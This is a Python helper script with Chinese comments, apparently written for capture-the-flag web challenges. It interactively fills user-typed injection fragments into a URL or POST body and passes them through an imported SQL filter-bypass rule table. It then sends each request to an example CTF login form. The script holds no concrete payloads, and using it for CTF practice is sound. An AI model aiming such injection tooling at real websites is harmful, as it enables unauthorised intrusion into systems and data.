CTF-WEB: 模块化poc!
from rules import *
import requests
def info(text):
print(f'\033[91m[info]->{text}\033[0m')
def extract_substring(s, str1, str2):
"""
提取从str1开始到str2的内容
:param s:
:param str1:
:param str2:
:return:
"""
# 找到 str1 的起始索引
start_index = s.find(str1)
if start_index == -1:
return f"起始字符串 '{str1}' 未找到"
# 找到 str2 的起始索引
end_index = s.find(str2, start_index + len(str1))
if end_index == -1:
return f"结束字符串 '{str2}' 未找到"
# 提取并返回子字符串
return s[start_index + len(str1):end_index]
def replace_using_dict(s, replacements):
"""
接受一个字符串与字典{‘a’:'b',*n}替换a为b
:param s:
:param replacements:
:return:
"""
# 遍历字典并进行替换
for key, value in replacements.items():
s = s.replace(key, value)
return s
def parse_to_dict(header_str):
"""
解析包头
:param header_str:
:return:
"""
if header_str is None:
return None
# 创建一个空字典来存储解析结果
header_dict = {}
# 按行分割字符串
lines = header_str.splitlines()
# 遍历每一行
for line in lines:
# 找到第一个冒号的位置
parts = line.split(":", 1)
if len(parts) == 2:
# 分割出键和值,并去掉多余的空格
key = parts[0].strip()
value = parts[1].strip()
# 将键值对存入字典
header_dict[key] = value
return header_dict
def attacker_send(options):
# 设置调试等级
debug = options.get('debug', False)
# 获取选项中的参数
poc_flag = options.get('poc_flag', '{poc}')
url = options.get('url', '')
data = options.get('data', '')
payload_processing = options.get('payload_processing', lambda x: x)
return_processing = options.get('return_processing', lambda x: x)
send_mod = options.get('send_mod', 0) # 默认使用GET
headers = parse_to_dict(options.get('headers', {}))
# 统计poc的数量
url_poc_count = url.count(poc_flag)
data_poc_count = data.count(poc_flag)
# 获取poc
url_poc_list = []
data_poc_list = []
if url_poc_count > 0:
for i in range(url_poc_count):
poc = input(f'输入URL的poc部分{i + 1} >>> ')
url_poc_list.append(poc)
else:
url_poc_list = None
if data_poc_count > 0:
for i in range(data_poc_count):
poc = input(f'输入Data的poc部分{i + 1} >>> ')
data_poc_list.append(poc)
else:
data_poc_list = None
# 合并为字典传输到自定义函数
payload = {
'url': url_poc_list,
'data': data_poc_list,
}
payload = payload_processing(payload)
if debug:
info(f"url_payload: {payload.get('url')}")
info(f"data_payload: {payload.get('data')}")
# 填充payload
if payload.get('url'):
for poc in payload['url']:
url = url.replace(poc_flag, poc, 1)
if payload.get('data'):
for poc in payload['data']:
data = data.replace(poc_flag, poc, 1)
if debug:
info(f"填充后的URL: {url}")
info(f"填充后的Data: {data}")
# 发送请求
try:
if send_mod == 0: # GET
response = requests.get(url, headers=headers, data=data if data else None)
elif send_mod == 1: # POST
response = requests.post(url, headers=headers, data=data if data else None)
else:
info("无效的发送模式。请选择0(GET)或1(POST)。")
return None
except requests.RequestException as e:
info(f"请求失败: {e}")
return None
response = return_processing(response)
return response
def interactive_attacker(options):
out_ret = options.get('out_ret')
while True:
response = attacker_send(options)
if response:
out_ret(response)
# Example Usage
if __name__ == "__main__":
def payload_processing(poc):
"""
你的所有poc都会以此方式传入
{
'url': url_poc_list,
'data': data_poc_list,
}
"""
# 可以在这里对payload进行处理,例如过滤或验证
url = poc['url']
data = poc['data']
if url is not None:
for i in range(len(url)):
url[i] = replace_using_dict(url[i], sql_rules)
if data is not None:
for i in range(len(data)):
data[i] = replace_using_dict(data[i], sql_rules)
poc = {
'url': url,
'data': data,
}
return poc
def return_processing(response):
"""
response会传入这里,你可以在此处自定义你的返回值
:return:
"""
# 可以在这里处理响应,比如解析JSON
return response
def out_ret(response):
"""
在这里定义交互模式的输出
:param response:
:return:
"""
print(f"状态码: {response.status_code}")
try:
print(f"响应内容: {extract_substring(response.text, '</title><script>', '</script>')}")
except Exception as e:
print(f"无法解析响应内容: {e}")
# 请按顺序填写,请在poc位置填写你设定的占位符
options = {
'url': 'http://246856db-a2aa-466d-a2d8-f55b07c7b06a.node5.buuoj.cn:81/search.php', # 示例URL
'data': 'name=admin{poc}&pw=sss', # 示例Data
'payload_processing': payload_processing, # 你的所有poc都会经过此函数
'return_processing': return_processing, # 你的所有输出都会经过此函数
'out_ret': out_ret, # 交互模式打印处理
'send_mod': 1, # 0_GET,1_POST
'headers': None, # 会自动解析字符串形式的头部
'debug': True, # 是否输出详细的调试信息
'poc_flag': '{poc}' # 这些东西会被替换为poc
}
interactive_attacker(options)